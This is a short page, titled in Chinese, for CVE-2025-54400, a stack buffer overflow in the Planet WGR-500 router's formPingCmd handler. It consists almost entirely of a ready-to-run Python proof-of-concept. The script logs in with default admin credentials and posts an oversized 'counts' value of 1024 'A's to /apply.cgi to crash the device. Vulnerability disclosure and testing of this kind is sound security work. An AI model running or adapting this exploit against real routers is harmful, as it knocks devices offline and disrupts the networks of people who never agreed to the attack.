CVE-2025-54400：Planet WGR-500路由器formPingCmd栈缓冲区溢出漏洞

# CVE-2025-54400 PoC - Planet WGR-500 formPingCmd Stack Buffer Overflow # Vulnerability: Stack-based buffer overflow via 'counts' parameter # Target: Planet WGR-500 v1.3411b190912 # The 'counts' parameter is used to compose: "ping -c <counts> <ipaddr> 2>&1 > %s &" import requests from requests.auth import HTTPBasicAuth TARGET_HOST = "http://192.168.1.1" USERNAME = "admin" PASSWORD = "password" # The formPingCmd endpoint path PING_ENDPOINT = "/apply.cgi" # Craft a malicious 'counts' parameter to trigger stack buffer overflow # The buffer overflow occurs when the 'counts' value is concatenated # into the ping command string without proper bounds checking overflow_payload = "A" * 1024 # Exceed the stack buffer size # HTTP request parameters mimicking the legitimate ping functionality params = { "submit_button": "Ping", "action": "", "ping": "ping", "counts": overflow_payload, # Malicious oversized parameter "ipaddr": "127.0.0.1" } # Send the crafted HTTP request to trigger the vulnerability try: session = requests.Session() # Authenticate with the router (low privilege required) session.auth = HTTPBasicAuth(USERNAME, PASSWORD) # Trigger the buffer overflow via formPingCmd response = session.post( TARGET_HOST + PING_ENDPOINT, data=params, timeout=10 ) print(f"[*] Request sent. Status code: {response.status_code}") print("[*] If the router crashes or becomes unresponsive, the overflow was triggered.") except requests.exceptions.RequestException as e: print(f"[!] Request failed (possible crash): {e}") print("[!] The device may have crashed due to the buffer overflow.")